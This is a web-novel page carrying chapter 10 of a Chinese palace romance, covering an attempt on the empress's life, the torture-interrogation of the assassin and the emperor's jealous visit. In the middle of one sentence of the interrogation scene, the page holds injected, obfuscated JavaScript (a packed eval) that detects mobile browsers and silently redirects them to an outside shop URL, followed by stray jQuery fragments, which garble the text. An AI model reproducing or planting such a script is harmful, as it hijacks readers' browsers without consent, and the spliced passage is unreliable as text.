文趣网 > 都市小说 > 辞京千里 > 10. 第 10 章
    “殿下,殿下!”一旁的栎桃唤得急促,瑞殊扭头望向她,刚巧扯着伤口。

    “嘶……!”

    “殿下伤口不深,未有性命之险,可平日里也许多加注意,莫要再伤着伤口才是。”太医一边为她重新上药,一边吩咐。

    栎桃一面责怪自己,一面又扶着瑞殊走向卧榻,收掇枕头请瑞殊半卧。

    看着栎桃喂赵瑞殊一剂苦药后,太医退下,走向陆观泽汇报情况。

    侍卫低头走来行礼:“皇后殿下,呈皇帝诏,还请殿下细细道来方才发生之事。”

    赵瑞殊半阖眼,简略将方才情形如实讲述。陆观泽在这中程走到她床侧坐下,侧过头看向她。

    沉香混着檀香、丁香,幽幽袭来。他走近的一瞬,她忽然很害怕他会将他的手搭在她的手上,于是不动声色将搭在一旁的手收回。

    如若派刺客来的是他,是要趁乱再补刀么?

    “你说你当时午歇起来,身边只一个点灯的小太监?”陆观泽皱眉问,转而看向屋内其他人,“其他宫人呢?”

    跪了一地的宫人支支吾吾,将头埋得更低。

    “今日是翠羽姑娘当值。”一宫女斗胆说。

    “翠、羽。”陆观泽慢吞吞念名字。

    翠羽愣在原地,微微抬头,半张嘴巴,不知从何辩起。

    天家的声音虽慢虽轻,分量却如同一座大山,沉沉压在她的心上。怎样开口都不得当,怎样呼吸都有错,一条小命轻轻的,在原地就能飘走。

    陈公公轻咳一声,斥道:“天家问你话呢,做了什么老实交代就是。”

    魂被骂回,翠羽一边磕头一边带着哭腔道:“皇后娘娘叫我们莫要打扰她午歇,天色晚了,娘娘还在歇息。奴想去叫小厨房做些皇后娘娘爱用的晚膳,留了几个宫人。不一会儿有人传话说尚宫局的女官来送夏日的锦子,不过带人去迎了片刻,谁曾想……一听见声响,奴几个便赶回来了。”

    “陛下,今日确是尚宫局给各宫发锦子的日子。”陈公公小心翼翼道。

    “什么声响?”陆观泽未理会,只继续追问。

    跪在地上的宫人面面相觑,陈公公催促之下,最先发声的宫女才吞吞吐吐:“奴耳力不佳,似是听刺客喊着甚么‘不为父兄谋划’‘贪图安逸’‘服侍他国’‘荒唐’之类,具体的也未听清……”

    全屋静悄悄的,众人噤若寒蝉。

    陆观泽缓缓扭头,眯着眼瞧赵瑞殊,嘴角升起一丝玩味的笑:“这么说,你还是叫自个儿人行刺了。”

    自个儿人。

    几字击玉敲金,不知是纯粹的调侃,亦或有言外之意。

    方虎口脱险,伤口经处理,疼痛感后知后觉缠上心头,赵瑞殊实在无力交锋,索性眼皮一盖,闭着眼躲口舌之争。

    “……”陆观泽只得侧过头,继续审问,“被翠羽留下的宫人又是哪几个?”

    几个的宫人立即连滚带爬匍于前列,哭诉自己吃坏肚子去恭房的,说自己去小厨房看着锅的,总之理由五花八门,尾句都是不停求饶。

    听一半,陆观泽不耐烦地皱眉,陈公公喝止了宫人,低头等待吩咐。

    “给皇后换几个做事妥当的宫人,这些人你看着办。至于武卫——”

    一侍卫立即半跪于前。

    “将那贼人好好审问,也审审自己平日里都干了什么活,光天化日之下竟能叫个贼人溜入宫中行刺皇后。”

    遣了众人,栎桃也识相地退至门口,只余一个陆观泽。

    “若是陛下想动手,现在便可。长痛不如短痛,莫要折磨妾了,给我个痛快吧。”赵瑞殊恹恹道,依旧合着眼。

    陆观泽只是看着她,轻哼一声:“被当做异类的滋味,不好受吧?”

    赵瑞殊睁开眼,终于正眼瞧人:“不是你?”

    “我若想杀你,何苦忍到现在?”

    “许是先前给陛下下药,陛下怀恨在心,出此计策。”瑞殊眼珠子轱辘一转,翘着嘴角道。

    “……你终于承认是你下的药了。”陆观泽一阵无语,“不过,你倒是略有身法,竟能一人脱险。”

    “真有身法,也不会留下这一道伤口了。”

    陆观泽目光略过她的伤口,眉头舒展,“好好养伤罢,若你是个怕留疤的,别到时候天天绷着脸恼自己身上的疤。”

    天天绷着脸的到底是谁啊?

    人已抬脚离去,赵瑞殊忿忿不平地觑了一眼背影。

    见皇帝离殿,栎桃、翠羽与一批新旧掺杂的宫人一同跪在她跟前。

    “请求皇后殿下责罚。”栎桃道。

    “你求什么责罚?今日本就不是你当值。”

    “奴身为掌事宫女,却未能管教好手底下的奴才,叫贼人钻了空子,是以失职。”

    “刺客进后宫的事,不是天天发生,若要论失职,该是左右武卫该考虑的事。”赵瑞殊抬抬手,栎桃道谢后起身站于她身侧,扬着头觑底下仍跪着的宫人。

    “翠羽。”

    “奴在。”

    瑞殊偏过头打量她,一个瘦瘦小小的身影,匍匐在地上,止不住地发抖,于是叹口气,没说重话:“管人的本事,还要再跟栎桃学学。尚宫局送来的料子,你照着时兴的衣样叫绣女裁去。”

    “谢皇后娘娘!”翠羽喜出望外,连磕几个重头,“奴一定好好看住绣女做最好看的衣裳。”

    跪着的剩下一批新来的宫人。

    “人人皆有犯错的时候,前一批拉走的宫人,若是交由我处置,罚几个月的奉例也罢。不过我能容一次、两次,其他人能容得下么?宫里可不止我一个主子,为了贪念之心、玩乐之心,因小失大,丢了性命可就不好了。”赵瑞殊摆摆手,“栎桃,这些人交由你教导。”

    栎桃起得最早,已耀武扬威般站在榻侧有一阵,高高兴兴地领了任务。

    被换走的宫人入了宫正司。

    宫正司内一片肃穆,牢房里寒若严冬,阵阵惨叫传来,掩过周遭已微弱的呻吟。

    “说,何人指使!”使刑具的太监加重手中力度。

    刑具中夹着的人,正是那日的刺客,一身伪装的太监服侍已碎个稀烂,在血水中浸得失去原有颜色。

    “非要说……便是我的良心……我的忠心……”刺客嘴唇惨白,口角流血,依然费劲扯出一个笑。

    “哼。”行刑的太监最后一使劲,见着刺客头一歪,丢下刑具,吩咐一旁候着的小太监,“不是宫里的人,后边移交大理寺那边处置。”

    一排小宫女、小太监已在牢房一角抖成筛子,看见行刑太监走来,哭爹喊娘,不停求饶。

    “邹公公,救救奴才!”

    “邹公公,奴见着值守的还有宫人,这才跑去恭房的,奴没有擅离职守!”

    “邹公公!……”

    邹公公摇头:“自个儿办事不得力,被主子罚来,咱家也没法子救你们。给主子端水倒茶也是活,舂米刷恭桶也是活,未给你们用刑,已是宽仁。”

    走出牢房,千牛卫谢游已在等候。

    邹公公一扫冷酷面色,咧着嘴行礼,笑问:“等着给天家回话呢?”

    “事关中宫遇刺,天家对此事分外看重。”

    “要不叫你这个中郎将亲自跑一趟呢!喏,奴方审了三天两夜,用了大刑,贼人一口回绝没有幕后主使,许真是个单枪匹马的东梁遗民。”

    “可贼人是如何光天化日潜入宫中的?”

    “这小贼学了点江湖技巧,走路了无声息,瞅准时机在侍卫不留神时钻来,又扮成太监。后宫不比天家寝殿,奴才们自以为没什么人管,瞌睡的瞌睡、发呆的发呆,有人入宫半年,其他宫人的脸都没认熟。皇后娘娘的下人也出了差错,就叫那小贼着手了。”

    “哦,原始如此。”谢游点头,“天家还吩咐我多问一件事,那贼人送来宫正司时,身上是有伤的,伤势如何了?”

    邹公公斟酌片刻,回:“头部有淤青,重倒是不重。只不过我说过,这贼人略傍些江湖技艺,击

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695217|207983||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    伤他的人,多少练过些武艺。”

    “劳烦邹公公。”

    “怎敢怎敢,不过是分内事。”

    谢游捎着记下的口供,折返勤政殿。

    殿内又是那个怪会拜高踩低、颇通人性的陈公公伴在圣侧服侍。谢游颇具不满地斜一眼陈公公,陈公公依然笑容满面迎上来:“中郎将,给天家复命来了?”

    “正是。”

    一转眼,陈公公又收敛笑容,恭恭敬敬给陆观泽通报。

    受准肯后,谢游一五一十将宫正司审出的消息全盘托出。

    沉思片刻,陆观泽下制:“叫北衙多留意留意京城东梁遗民的动向。”

    “陛下是疑心……?”

    陆观泽扫来一眼,谢游心领神会,闭上嘴领命离去。

    勤政殿重归静谧,只有陆观泽用指节轻敲案面的无规律声响。

    琢磨片刻,陈公公伸长头:“陛下可是还有什么要吩咐的?”

    “没有。”

    陈公公只得缩回头,暗暗埋怨自己这些年历练得怎么越发倒退了,这些天越来越不能揣测清楚主子的意思。

    敲击声停,翻书声未响片时,陆观泽不经意地问:“太医给皇后开了什么药材?可有消疤的?”

    陈公公眼睛一亮,躬着腰刚准备应,却听得陆观泽又道:“孤是觉得这没什么要紧,只是她似乎很在意留疤。”

    “陛下若关心,不如亲自去坤德宫瞧瞧?”几番斟酌,陈公公提议。圣意难测,可这几日他看下来,天家对皇后多少是有份好奇在的。

    陆观泽头微微一点,出行的倚仗便在陈公公张罗下安排妥。

    行至坤德宫,未见其人,先闻其声,一串清脆的笑声越过宫墙。

    “皇后娘娘管理有方啊,后宫何时这般有生气过?”陈公公是不会放过任何一个溜须拍马的机会的。

    陆观泽不应答,冷冷斜了一眼笑声传来的方向,摆手示意宫人加快脚步。

    这是什么意思?陈公公不解,努力揣测他此举的意味。

    若是对皇后有意,听到坤德宫院内欢声笑语,应当高兴才是,起码也得是暗喜吧;若是厌恶皇后,按天家的性子,绝不会多此一举专门跑来坤德宫。

    步入坤德宫院门,见一群人已聚在院中饮茶。

    锦鲤池旁新置几张竹案,设着茶筅茶盂各色茶具,几个宫女一边煮茶服侍,一边斜着眼听几位主子谈笑,不一会儿也掩着嘴痴痴地笑。

    众人饮茶作乐,笑成一团,不知陆观泽已在坤德宫院中。

    正巧淑妃面对院门,头一个发现他,忙不迭行礼,有眼尖的宫人也跟着行礼。

    剩下赵瑞殊和一年轻嫔御相对笑了个没完,实在笑得气短停下才发觉周遭气氛已变。

    赵瑞殊转过头来,啊了一声,便也虚虚行了个礼,笑眯眯挽过年轻嫔御,轻轻推上前:“贺瑶,这便是天家了。”

    贺瑶眼眸一亮,又行礼,举止之间满是少年人的羞赦与生涩:“妾贺瑶见过陛下。”

    不错,赵瑞殊满意地瞧着贺瑶,她这样年轻,方才饮茶时又显出死气沉沉的宫廷中少有的活力与朝气,加之她对陆观泽的爱慕,定能分走些眼神,有所助力。

    与贺瑶明亮的脸色相反,陆观泽脸色阴沉,宛若黑云压城:“皇后方才倒是开心。”

    “与贺才人、淑妃相伴,自然心情舒畅。”

    “哦,与孤相伴,心情便不舒畅了?”

    这说的是什么话?赵瑞殊眉头一皱,拿不准陆观泽此言意味:“此言差矣,陛下为何这般想?”

    “与孤在一起时,你从未笑得那样开怀。”

    “……”且不说哪位被逼来和亲的公主会对使得自己飘零一生的罪魁祸首真正心生欢喜的,就说倘若是寻常夫妻,她与陆观泽单独待在一起的时间掰着指头也能数过来,陆观泽又自个儿天天黑着脸。

    一时间,赵瑞殊脸色变幻莫测,竟未能想出体面话。

    陆观泽的脸又阴沉了几分。